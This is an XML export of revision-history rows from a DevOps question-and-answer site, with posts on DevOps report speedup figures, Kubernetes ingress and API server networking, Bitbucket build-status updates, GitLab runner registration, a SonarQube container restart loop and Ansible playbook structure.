  <row Id="8236" PostHistoryTypeId="5" PostId="2635" RevisionGUID="099d8de6-4741-4d78-a8a5-4e86a2fdad4b" CreationDate="2017-11-23T16:30:43.653" UserId="707" Comment="added 11 characters in body" Text="Puppet Labs' annual DevOps reports are a very nice and representative source of information, AFAIK. Indeed, with Kim Gene on board they are THE industrial gurus I'd say.&#xD;&#xA;&#xD;&#xA;Now I have a question to the following data in [this year's report][1] (page 21). &#xD;&#xA;&#xD;&#xA;Can we multiply the data for 2016 and 2017? &#xD;&#xA;&#xD;&#xA;For example, take the lead time for changes.&#xD;&#xA;&#xD;&#xA;    2555x440=1124000 # more than a milion times faster?&#xD;&#xA;&#xD;&#xA;Does this mean then, if in 2015 it took 6 months (say 180 days real time i.e. 4320 hours) to deliver a bugfix, then &#xD;&#xA;&#xD;&#xA;* in 2016 it took just under 2 hours, &#xD;&#xA;* and in 2017, *16 seconds*?  &#xD;&#xA;&#xD;&#xA;Is the warp speed delivery speed real now? In 2014, management was very sceptical about even 30x speedup. Now I'm sceptical.&#xD;&#xA;&#xD;&#xA;**Question:** this must be absolute minimum values for very lightweight microservices. That is, as the bugfix commit arrives..&#xD;&#xA;&#xD;&#xA; *  you really count from this moment&#xD;&#xA; * you have no compilation step&#xD;&#xA; * the Docker image is very small&#xD;&#xA; * you have really fast (or, fastest you can get) infrastructure. &#xD;&#xA;&#xD;&#xA;Right?&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://puppet.com/resources/whitepaper/state-of-devops-report&#xD;&#xA;  [2]: https://i.stack.imgur.com/qvpZs.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="8237" PostHistoryTypeId="4" PostId="2635" RevisionGUID="099d8de6-4741-4d78-a8a5-4e86a2fdad4b" CreationDate="2017-11-23T16:30:43.653" UserId="707" Comment="added 11 characters in body" Text="From 6 months to 16 seconds? grokking DevOps speedup date from DevOps report by DORA and Puppet Labs" ContentLicense="CC BY-SA 3.0" />
  <row Id="8238" PostHistoryTypeId="2" PostId="2636" RevisionGUID="0f84433c-628b-456f-907b-dd77b3bf01de" CreationDate="2017-11-23T17:16:42.880" UserId="47" Text="I wouldn't exactly calculate it like that. It doesn't necessarily mean that the *actual* verification time for a changeset is decreasing that much.&#xD;&#xA;&#xD;&#xA;The verification process itself can be (and often is these days) a processing pipeline in which the *average/effective* verification time per changeset can, indeed, decrease to insanely small amounts.&#xD;&#xA;&#xD;&#xA;For example the processing pipeline can process multiple changesets simultaneouly. If you have, let's say, 60 proposed changes, each one of them touching a different file in a repository, you can combine them into an equivalent single uber-changeset touching 60 files. You could then process this uber-changeset through a verification step that takes, let's say, 1h. If the verification passes you obtain a speedup factor of x60 and an effective verification time per changeset of 1 min, even if the actual verification time was 1h. Granted, you'll lose some of the speedup when the verification fails and you need to perform bisections to identify the changeset at fault, but that's a different story.&#xD;&#xA;&#xD;&#xA;Or you can have each of the changesets verified independently, through 60 1h verifications performed in parallel. Same effective verification time, but with a whole lot higher verification resource usage.&#xD;&#xA;&#xD;&#xA;The point, I guess, is that there are ways of building processing pipelines which can greatly reduce the effective per-changeset verification times and still keep very large scale projects agile." ContentLicense="CC BY-SA 3.0" />
  <row Id="8239" PostHistoryTypeId="2" PostId="2637" RevisionGUID="c9103b14-676d-4a80-9526-3253feea0ea2" CreationDate="2017-11-23T17:22:13.420" UserId="3992" Text="I'm running on a simple KVM host and have poor man's load balancing with round robin DNS to and nginx ingress based on [this chart][1] which is [documented here][2] &#xD;&#xA;&#xD;&#xA;So to direct traffic to backend pods it seems from those docs that all you  would need to do is apply appropriate labels and magic will ensue. &#xD;&#xA;&#xD;&#xA;It's a bit too magical for me and I'd rather just edit the nginx config and put reverse proxy entries in for the service urls for my microservices.&#xD;&#xA;&#xD;&#xA;What's the typical way of doing this? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/kubernetes/charts/tree/master/stable/nginx-ingress&#xD;&#xA;  [2]: https://kubeapps.com/charts/stable/nginx-ingress" ContentLicense="CC BY-SA 3.0" />
  <row Id="8240" PostHistoryTypeId="1" PostId="2637" RevisionGUID="c9103b14-676d-4a80-9526-3253feea0ea2" CreationDate="2017-11-23T17:22:13.420" UserId="3992" Text="In kubernetes, using an nginx ingress controller what is recommended way of adding back end services?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8241" PostHistoryTypeId="3" PostId="2637" RevisionGUID="c9103b14-676d-4a80-9526-3253feea0ea2" CreationDate="2017-11-23T17:22:13.420" UserId="3992" Text="&lt;kubernetes&gt;&lt;containers&gt;&lt;microservices&gt;&lt;load-balance&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8242" PostHistoryTypeId="5" PostId="2636" RevisionGUID="057f58e4-2b46-4be7-8d2b-8b7ffc18bc24" CreationDate="2017-11-23T18:32:50.917" UserId="47" Comment="added another point" Text="I wouldn't exactly calculate it like that. It doesn't necessarily mean that the *actual* verification time for a changeset is decreasing that much.&#xD;&#xA;&#xD;&#xA;The verification process itself can be (and often is these days) a processing pipeline in which the *average/effective* verification time per changeset can, indeed, decrease to insanely small amounts.&#xD;&#xA;&#xD;&#xA;For example the processing pipeline can process multiple changesets simultaneouly. If you have, let's say, 60 proposed changes, each one of them touching a different file in a repository, you can combine them into an equivalent single uber-changeset touching 60 files. You could then process this uber-changeset through a verification step that takes, let's say, 1h. If the verification passes you obtain a speedup factor of x60 and an effective verification time per changeset of 1 min, even if the actual verification time was 1h. Granted, you'll lose some of the speedup when the verification fails and you need to perform bisections to identify the changeset at fault, but that's a different story.&#xD;&#xA;&#xD;&#xA;Or you can have each of the changesets verified independently, through 60 1h verifications performed in parallel. Same effective verification time, but with a whole lot higher verification resource usage.&#xD;&#xA;&#xD;&#xA;The point, I guess, is that there are ways of building processing pipelines which can greatly reduce the effective per-changeset verification times and still keep very large scale projects agile.&#xD;&#xA;&#xD;&#xA;Another point to consider is the branching strategy. Those 6 months weren't the actual verification time. Most of that time was simply spent navigating through [the branch spagetti][1] and fighting [the integration hell][2], just to propagate the fix into the proper shipping branch - effects of the waterfall development model which was considered the norm at the time. &#xD;&#xA;&#xD;&#xA;Today CI/CD (the proper one, not [the CI Theatre][3]) and [Trunk Based Development][4] eliminate all that wasted time/effort and side-stepping, with the fix being virtually ready for delivery right from the moment it is integrated in the trunk - no unpredictable massive branch merging obstacles ever stand ahead of shipping.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.imgur.com/cqONnWB.jpg&#xD;&#xA;  [2]: https://www.solutionsiq.com/agile-glossary/integration-hell/&#xD;&#xA;  [3]: https://www.gocd.org/2017/05/16/its-not-CI-its-CI-theatre.html&#xD;&#xA;  [4]: https://trunkbaseddevelopment.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="8243" PostHistoryTypeId="4" PostId="2635" RevisionGUID="72e0f571-1847-4d16-a41c-eb51a855de6e" CreationDate="2017-11-23T18:41:39.057" UserId="707" Comment="edited title" Text="From 6 months to 16 seconds? grokking DevOps speedup data from DevOps report by DORA and Puppet Labs" ContentLicense="CC BY-SA 3.0" />
  <row Id="8245" PostHistoryTypeId="2" PostId="2639" RevisionGUID="e2763586-aefb-4aa2-82c7-23d69b2d5f5d" CreationDate="2017-11-23T23:47:46.347" UserId="210" Text="One could [update the build status in bitbucket][1] as follows:&#xD;&#xA;&#xD;&#xA;&gt; Adding a build result to a commit&#xD;&#xA;&gt; &#xD;&#xA;&gt; To associate a build result with a particular commit, you need to POST&#xD;&#xA;&gt; a JSON object to the build status REST resource at:&#xD;&#xA;&gt; &#xD;&#xA;&gt; `https://&lt;bitbucket-base-url&gt;/rest/build-status/1.0/commits/&lt;commit-hash&gt;`&#xD;&#xA;&gt; &#xD;&#xA;&gt; The format of the JSON object that should be used as the request body&#xD;&#xA;&gt; is:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     {&#xD;&#xA;&gt;         &quot;state&quot;: &quot;&lt;INPROGRESS|SUCCESSFUL|FAILED&gt;&quot;,&#xD;&#xA;&gt;         &quot;key&quot;: &quot;&lt;build-key&gt;&quot;,&#xD;&#xA;&gt;         &quot;name&quot;: &quot;&lt;build-name&gt;&quot;,&#xD;&#xA;&gt;         &quot;url&quot;: &quot;&lt;build-url&gt;&quot;,&#xD;&#xA;&gt;         &quot;description&quot;: &quot;&lt;build-description&gt;&quot;&#xD;&#xA;&gt;     }&#xD;&#xA;&#xD;&#xA;One could run such a snippet by codefresh at the end of the build using a script to notify bitbucket regarding the build status of a commit.&#xD;&#xA;&#xD;&#xA;&gt; One green build&#xD;&#xA;&gt; &#xD;&#xA;&gt; The following curl command will add a build to the commit&#xD;&#xA;&gt; 9e72f04322c4a1f240e0b3158c67c3c19cdd16e7:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     curl -u username:password -H &quot;Content-Type: application/json&quot; -X POST&#xD;&#xA;&gt; http://localhost:7990/bitbucket/rest/build-status/1.0/commits/9e72f04322c4a1f240e0b3158c67c3c19cdd16e7&#xD;&#xA;&gt; -d @build0.json&#xD;&#xA;&gt; &#xD;&#xA;&gt; Where build0.json contains:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     {&#xD;&#xA;&gt;         &quot;state&quot;: &quot;SUCCESSFUL&quot;,&#xD;&#xA;&gt;         &quot;key&quot;: &quot;REPO-MASTER&quot;,&#xD;&#xA;&gt;         &quot;name&quot;: &quot;REPO-MASTER-42&quot;,&#xD;&#xA;&gt;         &quot;url&quot;: &quot;https://bamboo.example.com/browse/REPO-MASTER-42&quot;,&#xD;&#xA;&gt;         &quot;description&quot;: &quot;Changes by John Doe&quot;&#xD;&#xA;&gt;     }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://developer.atlassian.com/bitbucket/server/docs/latest/how-tos/updating-build-status-for-commits.html&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8246" PostHistoryTypeId="5" PostId="2639" RevisionGUID="140c9394-0527-4564-8422-2095cbf0d0c5" CreationDate="2017-11-23T23:52:52.817" UserId="210" Comment="added 4 characters in body" Text="One could [update the build status in bitbucket][1] as follows:&#xD;&#xA;&#xD;&#xA;&gt; Adding a build result to a commit&#xD;&#xA;&gt; &#xD;&#xA;&gt; To associate a build result with a particular commit, you need to POST&#xD;&#xA;&gt; a JSON object to the build status REST resource at:&#xD;&#xA;&gt; &#xD;&#xA;&gt; `https://&lt;bitbucket-base-url&gt;/rest/build-status/1.0/commits/&lt;commit-hash&gt;`&#xD;&#xA;&gt; &#xD;&#xA;&gt; The format of the JSON object that should be used as the request body&#xD;&#xA;&gt; is:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     {&#xD;&#xA;&gt;         &quot;state&quot;: &quot;&lt;INPROGRESS|SUCCESSFUL|FAILED&gt;&quot;,&#xD;&#xA;&gt;         &quot;key&quot;: &quot;&lt;build-key&gt;&quot;,&#xD;&#xA;&gt;         &quot;name&quot;: &quot;&lt;build-name&gt;&quot;,&#xD;&#xA;&gt;         &quot;url&quot;: &quot;&lt;build-url&gt;&quot;,&#xD;&#xA;&gt;         &quot;description&quot;: &quot;&lt;build-description&gt;&quot;&#xD;&#xA;&gt;     }&#xD;&#xA;&#xD;&#xA;One could run such a snippet by codefresh at the end of the build using a script to notify bitbucket regarding the build status of a commit.&#xD;&#xA;&#xD;&#xA;&gt; One green build&#xD;&#xA;&gt; &#xD;&#xA;&gt; The following curl command will add a build to the commit&#xD;&#xA;&gt; 9e72f04322c4a1f240e0b3158c67c3c19cdd16e7:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     curl -u username:password -H &quot;Content-Type: application/json&quot; -X POST&#xD;&#xA;&gt;     http://localhost:7990/bitbucket/rest/build-status/1.0/commits/9e72f04322c4a1f240e0b3158c67c3c19cdd16e7&#xD;&#xA;&gt;     -d @build0.json&#xD;&#xA;&gt; &#xD;&#xA;&gt; Where build0.json contains:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     {&#xD;&#xA;&gt;         &quot;state&quot;: &quot;SUCCESSFUL&quot;,&#xD;&#xA;&gt;         &quot;key&quot;: &quot;REPO-MASTER&quot;,&#xD;&#xA;&gt;         &quot;name&quot;: &quot;REPO-MASTER-42&quot;,&#xD;&#xA;&gt;         &quot;url&quot;: &quot;https://bamboo.example.com/browse/REPO-MASTER-42&quot;,&#xD;&#xA;&gt;         &quot;description&quot;: &quot;Changes by John Doe&quot;&#xD;&#xA;&gt;     }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://developer.atlassian.com/bitbucket/server/docs/latest/how-tos/updating-build-status-for-commits.html&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8247" PostHistoryTypeId="2" PostId="2640" RevisionGUID="3db69899-6e03-4945-b326-9f373295a7c7" CreationDate="2017-11-24T08:25:07.517" UserId="5013" Text="# Question&#xD;&#xA;In a Kubernetes cluster, there is a Docker network IP which looks to be the API server. However, not sure how to identify the physical IP and location of the box in which it is working. &#xD;&#xA;&#xD;&#xA;If there is a guidance how to proceed, it would be appreciated. I have been handed over the system but no information.&#xD;&#xA;&#xD;&#xA;    $ curl https://172.30.0.1&#xD;&#xA;    {&#xD;&#xA;      &quot;paths&quot;: [&#xD;&#xA;        &quot;/api&quot;,&#xD;&#xA;        &quot;/api/v1&quot;,&#xD;&#xA;        &quot;/apis&quot;,&#xD;&#xA;        &quot;/apis/apps&quot;,&#xD;&#xA;        &quot;/apis/apps/v1beta1&quot;,&#xD;&#xA;        ...&#xD;&#xA;      ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ kubectl get pods -o wide&#xD;&#xA;    NAME                    READY     STATUS    RESTARTS   AGE       IP&#xD;&#xA;    logging-fluentd-2vc4v   1/1       Running   0          1d        10.1.13.155&#xD;&#xA;    logging-fluentd-bvdtz   1/1       Running   0          1d        10.1.3.3&#xD;&#xA;    logging-fluentd-xvxrk   1/1       Running   0          1d        10.1.10.71    &#xD;&#xA;&#xD;&#xA;    $ sudo iptables -t nat -L -n&#xD;&#xA;    Chain KUBE-SERVICES (2 references)&#xD;&#xA;    target                     prot opt source               destination         &#xD;&#xA;    ....&#xD;&#xA;    KUBE-SVC-NPX46M4PTMTKRN6Y  tcp  --  0.0.0.0/0            172.30.0.1           /* default/kubernetes:https cluster IP */ tcp dpt:443&#xD;&#xA;    KUBE-SVC-BA6I5HTZKAAAJT56  tcp  --  0.0.0.0/0            172.30.0.1           /* default/kubernetes:dns-tcp cluster IP */ tcp dpt:53&#xD;&#xA;    ....&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ ip route&#xD;&#xA;    default via 10.0.4.1 dev eth0 proto static metric 100 &#xD;&#xA;    10.0.4.0/22 dev eth0 proto kernel scope link src 10.0.4.21 metric 100 &#xD;&#xA;    10.1.0.0/16 dev tun0 proto kernel scope link &#xD;&#xA;    172.17.0.0/16 dev docker0 proto kernel scope link src 172.17.0.1 &#xD;&#xA;    172.30.0.0/16 dev tun0 scope link &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8248" PostHistoryTypeId="1" PostId="2640" RevisionGUID="3db69899-6e03-4945-b326-9f373295a7c7" CreationDate="2017-11-24T08:25:07.517" UserId="5013" Text="How to identify the physical IP of where Kubernetes API server runs" ContentLicense="CC BY-SA 3.0" />
  <row Id="8249" PostHistoryTypeId="3" PostId="2640" RevisionGUID="3db69899-6e03-4945-b326-9f373295a7c7" CreationDate="2017-11-24T08:25:07.517" UserId="5013" Text="&lt;kubernetes&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8250" PostHistoryTypeId="2" PostId="2641" RevisionGUID="3fd54fa7-0d7c-4fc4-be8b-4b5b772455c0" CreationDate="2017-11-24T08:42:33.707" UserId="5361" Text="I'm trying to write a windows batch file to automate the gitlab runner registration : &#xD;&#xA;&#xD;&#xA;    SET /p token=Token ?:&#xD;&#xA;    gitlab-runner register --locked false --run-untagged true --tag-list java --name foo --token %token% --url https://myurl --executor&#xD;&#xA;     &#xD;&#xA;&#xD;&#xA;I found the parameters in help documentation (`gitlab-runner register --help`) but it doesn't care about them. It still continues to ask question whose answers are in the parameters.&#xD;&#xA;&#xD;&#xA;Thanks for helping" ContentLicense="CC BY-SA 3.0" />
  <row Id="8251" PostHistoryTypeId="1" PostId="2641" RevisionGUID="3fd54fa7-0d7c-4fc4-be8b-4b5b772455c0" CreationDate="2017-11-24T08:42:33.707" UserId="5361" Text="Gitlab CI Runner command line doesn't care about --parameters" ContentLicense="CC BY-SA 3.0" />
  <row Id="8252" PostHistoryTypeId="3" PostId="2641" RevisionGUID="3fd54fa7-0d7c-4fc4-be8b-4b5b772455c0" CreationDate="2017-11-24T08:42:33.707" UserId="5361" Text="&lt;gitlab&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8253" PostHistoryTypeId="2" PostId="2642" RevisionGUID="c6166d59-600c-4a17-b7e0-4aed2b58bfca" CreationDate="2017-11-24T09:35:38.490" UserId="4289" Text="You're missing the `--non-interactive` tag to your registration command.&#xD;&#xA;&#xD;&#xA;Full command should be:&#xD;&#xA;&#xD;&#xA;    gitlab-runner register --non-interactive --locked false --run-untagged true --tag-list java --name foo --registration-token %token% --url https://myurl --executor shell&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Relevant documentation for [non-interactive registration](https://gitlab.com/gitlab-org/gitlab-runner/blob/master/docs/commands/README.md#non-interactive-registration).&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8254" PostHistoryTypeId="2" PostId="2643" RevisionGUID="72cc3160-62bb-4823-ab86-f2f4e817a8b0" CreationDate="2017-11-24T09:54:03.770" UserId="3872" Text="I am running an init.sh script in order to create mapped directories for Sonar and Postgres.&#xD;&#xA;&#xD;&#xA;Both of the containers build fine and are able to be started, but for some reason, our Sonar container is in a constant restart loop after about 8-16 seconds. &#xD;&#xA;&#xD;&#xA;In the logs we noticed that there was a missing plugin error for `&quot;findbugs&quot;`, although the compability matrix states that `findbugs` works with Sonar 6.7.&#xD;&#xA;&#xD;&#xA;        2017.11.23 17:16:21 WARN  web[o.a.c.l.WebappClassLoaderBase] The web application [ROOT] appears to have started a thread named [Timer-0] but has failed to stop it. This is very likely to create a memory leak. Stack trace of thread:&#xD;&#xA;     java.lang.Object.wait(Native Method)&#xD;&#xA;     java.util.TimerThread.mainLoop(Timer.java:552)&#xD;&#xA;     java.util.TimerThread.run(Timer.java:505)&#xD;&#xA;&#xD;&#xA;This seems to be a popular error when I do a `sudo docker logs sonar_container`&#xD;&#xA;&#xD;&#xA;Does anyone have any experience with fixing this issue?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8255" PostHistoryTypeId="1" PostId="2643" RevisionGUID="72cc3160-62bb-4823-ab86-f2f4e817a8b0" CreationDate="2017-11-24T09:54:03.770" UserId="3872" Text="Sonar:6.7 docker container restart loop" ContentLicense="CC BY-SA 3.0" />
  <row Id="8256" PostHistoryTypeId="3" PostId="2643" RevisionGUID="72cc3160-62bb-4823-ab86-f2f4e817a8b0" CreationDate="2017-11-24T09:54:03.770" UserId="3872" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8257" PostHistoryTypeId="5" PostId="2643" RevisionGUID="875350bf-e17d-4b76-84f8-e09846f8442a" CreationDate="2017-11-24T09:59:51.780" UserId="3872" Comment="Added a code example of the docker ps logs" Text="I am running an init.sh script in order to create mapped directories for Sonar and Postgres.&#xD;&#xA;&#xD;&#xA;Both of the containers build fine and are able to be started, but for some reason, our Sonar container is in a constant restart loop after about 8-16 seconds. &#xD;&#xA;&#xD;&#xA;In the logs we noticed that there was a missing plugin error for `&quot;findbugs&quot;`, although the compability matrix states that `findbugs` works with Sonar 6.7.&#xD;&#xA;&#xD;&#xA;            2017.11.23 17:16:21 WARN  web[o.a.c.l.WebappClassLoaderBase] The web application [ROOT] appears to have started a thread named [Timer-0] but has failed to stop it. This is very likely to create a memory leak. Stack trace of thread:&#xD;&#xA;         java.lang.Object.wait(Native Method)&#xD;&#xA;         java.util.TimerThread.mainLoop(Timer.java:552)&#xD;&#xA;         java.util.TimerThread.run(Timer.java:505)&#xD;&#xA;    &#xD;&#xA;This seems to be a popular error when I do a `sudo docker logs sonar_container`&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;Restarting: &#xD;&#xA;&#xD;&#xA;    VirtualBox:~/Sonar/docker-sonar-scpvm014$ sudo docker ps&#xD;&#xA;    CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                                            NAMES&#xD;&#xA;    fa4b1c86433d        sonarqube:lts       &quot;./bin/run.sh&quot;           16 seconds ago      Up 5 seconds        0.0.0.0:9092-&gt;9092/tcp, 0.0.0.0:8060-&gt;9000/tcp   sonar_container&#xD;&#xA;    87db675ef2dd        postgres:9.5        &quot;docker-entrypoint...&quot;   18 hours ago        Up 11 minutes       0.0.0.0:5432-&gt;5432/tcp                           pgsql_container&#xD;&#xA;    :~/Sonar/docker-sonar-scpvm014$ sudo docker ps&#xD;&#xA;    CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                                            NAMES&#xD;&#xA;    fa4b1c86433d        sonarqube:lts       &quot;./bin/run.sh&quot;           19 seconds ago      Up 9 seconds        0.0.0.0:9092-&gt;9092/tcp, 0.0.0.0:8060-&gt;9000/tcp   sonar_container&#xD;&#xA;    87db675ef2dd        postgres:9.5        &quot;docker-entrypoint...&quot;   18 hours ago        Up 11 minutes       0.0.0.0:5432-&gt;5432/tcp                           pgsql_container&#xD;&#xA;    ~/Sonar/docker-sonar-scpvm014$ sudo docker ps&#xD;&#xA;    CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                                            NAMES&#xD;&#xA;    fa4b1c86433d        sonarqube:lts       &quot;./bin/run.sh&quot;           23 seconds ago      Up 12 seconds       0.0.0.0:9092-&gt;9092/tcp, 0.0.0.0:8060-&gt;9000/tcp   sonar_container&#xD;&#xA;    87db675ef2dd        postgres:9.5        &quot;docker-entrypoint...&quot;   18 hours ago        Up 11 minutes       0.0.0.0:5432-&gt;5432/tcp                           pgsql_container&#xD;&#xA;~/Sonar/docker-sonar-scpvm014$ sudo docker ps&#xD;&#xA;    CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS                        PORTS                    NAMES&#xD;&#xA;    fa4b1c86433d        sonarqube:lts       &quot;./bin/run.sh&quot;           25 seconds ago      Restarting (0) 1 second ago  &#xD;&#xA;&#xD;&#xA;Does anyone have any experience with fixing this issue?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8258" PostHistoryTypeId="50" PostId="1592" RevisionGUID="6035b819-4880-4de0-8e5c-1ebcb274cd40" CreationDate="2017-11-24T10:09:22.940" UserId="-1" />
  <row Id="8259" PostHistoryTypeId="2" PostId="2644" RevisionGUID="d9208838-003c-4e84-a4cd-cda086d0b246" CreationDate="2017-11-24T11:51:34.730" UserId="5363" Text="I am currently deploying a new product and came across some problems to structure my Playbook and roles. I have three different solutions and hope to get some input which path might be the best.&#xD;&#xA;&#xD;&#xA;The product is a webapp on a windows server. The following steps are needed to deploy (high level): install javajdk install tomcat install win_service configure java regkes configure tomcat install webapp start service&#xD;&#xA;&#xD;&#xA;I use static inventories for prod and stageing, group_vars, roles (created with ansible-galaxy) so there is some kind of structure ..&#xD;&#xA;&#xD;&#xA;**Solution 1** put everything in one huge playbook. That does not sound well, but has the advantage that you know the variables from prev installations e.g. tomcat needs to know where JAVA_HOME is... that was with the javajdk installation, due to more than one java on the machines there is no global JAVA_HOME...&#xD;&#xA;&#xD;&#xA;**Solution 2** break all out in small roles. Sounds great but roles should be independent from each other.I did not found a method to decouple tasks. Would it make sense to have single roles for e.g. install_tomcet, config_tomcat and set up a playbook which has the mentioned roles in sequence? but how does on role know about e.g. a path name which is needed in the next roll. -&gt; Installation sets the path, config needs to know.. I an really unsure to make roles independend.&#xD;&#xA;&#xD;&#xA;**Solution 3** Kind of solution 2. Have a main playbook which contains only roles, Split as much as possible to roles. Have independent variable names in ./roles//vars/main.yml Somehow(?) find a place higher in der variable precedence with the playbook where all needed var definitions go. Inernallay either path a variable to the role or simply overrule a rolevariable. e.b. a product has a service, the service name is generally part of a pathname for tomcat. the tomcat name should not depend on the service, so there should be a tomcat_install_path in the role but also a service_name with the product So in case the playbook for the product is called the servcie name should be part of the name, In case the tomcat_install is called with a total different deployment there should be no fiddling with a service name&#xD;&#xA;&#xD;&#xA;*I would go with Solution 3 but I have not yet found a way to set that up. What is the experts opinion, is solution 3 doable, is one of the other once better or is there a solution 4 ??*" ContentLicense="CC BY-SA 3.0" />
  <row Id="8260" PostHistoryTypeId="1" PostId="2644" RevisionGUID="d9208838-003c-4e84-a4cd-cda086d0b246" CreationDate="2017-11-24T11:51:34.730" UserId="5363" Text="3 solutions to structure a deployment with ansible?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8261" PostHistoryTypeId="3" PostId="2644" RevisionGUID="d9208838-003c-4e84-a4cd-cda086d0b246" CreationDate="2017-11-24T11:51:34.730" UserId="5363" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8262" PostHistoryTypeId="5" PostId="2644" RevisionGUID="5a883746-5b17-4850-969a-8596dce85abb" CreationDate="2017-11-24T12:25:57.393" UserId="4289" Comment="Improved formatting and grammar." Text="I am currently deploying a new product and came across some problems to structure my Playbook and Roles. I have three different solutions and hope to get some input which path might be the best.&#xD;&#xA;&#xD;&#xA;The product is a webapp on a windows server. The following steps are needed to deploy (high level):&#xD;&#xA;&#xD;&#xA; - install javajdk&#xD;&#xA; - install tomcat&#xD;&#xA; - install win_service&#xD;&#xA; - configure java regkes&#xD;&#xA; - configure tomcat&#xD;&#xA; - install webapp&#xD;&#xA; - start service&#xD;&#xA;&#xD;&#xA;I use static inventories for prod and staging, group_vars, roles (created with ansible-galaxy) so there is some kind of structure.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**Solution 1** &#xD;&#xA;Put everything in one huge playbook. That does not sound well, but has the advantage that you know the variables from previous installations e.g. `tomcat` needs to know where `JAVA_HOME` is... that was with the `javajdk` installation, due to more than one java on the machines there is no global `JAVA_HOME`...&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**Solution 2** &#xD;&#xA;Break all out in small roles. Sounds great but roles should be independent from each other. I did not found a method to decouple tasks. Would it make sense to have single roles for e.g. `install_tomcat`, `config_tomcat` and set up a playbook which has the mentioned roles in sequence? &#xD;&#xA;&#xD;&#xA;But how does one role know about, e.g. a path name which is needed in the next role. -&gt; Installation sets the path, config needs to know.. I an really unsure to make roles independent.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**Solution 3** &#xD;&#xA;Kind of solution 2. Have a main playbook which contains only roles, split as much as possible to roles. Have independent variable names in `./roles/vars/main.yml`&#xD;&#xA;&#xD;&#xA;Somehow(?) find a place higher in the variable precedence with the playbook where all needed `var` definitions go. Internally either path a variable to the role or simply over-rule a role variable. &#xD;&#xA;&#xD;&#xA;E.g. a product has a service, the service name is generally part of a path name for `tomcat`. The `tomcat` name should not depend on the service, so there should be a `tomcat_install_path` in the role but also a `service_name` with the product. So in case the playbook for the product is called the service name should be part of the name, the `tomcat_install` is called with a total different deployment there should be no fiddling with a service name.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;*I would go with Solution 3 but I have not yet found a way to set that up. What is the experts opinion, is solution 3 doable, is one of the other once better or is there a 4th solution?*" ContentLicense="CC BY-SA 3.0" />
  <row Id="8263" PostHistoryTypeId="24" PostId="2644" RevisionGUID="5a883746-5b17-4850-969a-8596dce85abb" CreationDate="2017-11-24T12:25:57.393" Comment="Proposed by 4289 approved by 5363 edit id of 540" ContentLicense="CC BY-SA 3.0" />
  <row Id="8264" PostHistoryTypeId="5" PostId="2624" RevisionGUID="cf43abae-4f29-4397-bb22-0f7cd4e5a4d4" CreationDate="2017-11-24T13:59:27.107" UserId="323" Comment="add code snippet" Text="I have playbook that I've been hacking on for a year and it works OK, but I know it's not great, part of it runs ansible on the target machine with a &quot;command&quot; task.  Because of that, I don't see the output of this task in my ansible playbook.  &#xD;&#xA;&#xD;&#xA;I need to run this play in the middle of the playbook because it is dependent on a prior task and a subsequent task depends on it (otherwise I'd break it up differently) &#xD;&#xA;&#xD;&#xA;I'd like to be able to see the output of all my plays, is there a better way to branch off plays in the middle of a play.  &#xD;&#xA;&#xD;&#xA;For instance: given a playbook running on HOST_A and HOST_B at TASK 3, suspend running plays, run next plays on HOST_C and HOST_D then HOST_E and HOST_F? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    - name: update other machines&#xD;&#xA;      command: &quot;/usr/bin/ansible-playbook /etc/ansible/playbooks/other-machines.yml -e 'ansible_user={{ item.ansible_user }}' -l {{ item.ansible_hostname }}&quot;&#xD;&#xA;      with_items: &quot;{{ other_machine_connections }}&quot;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
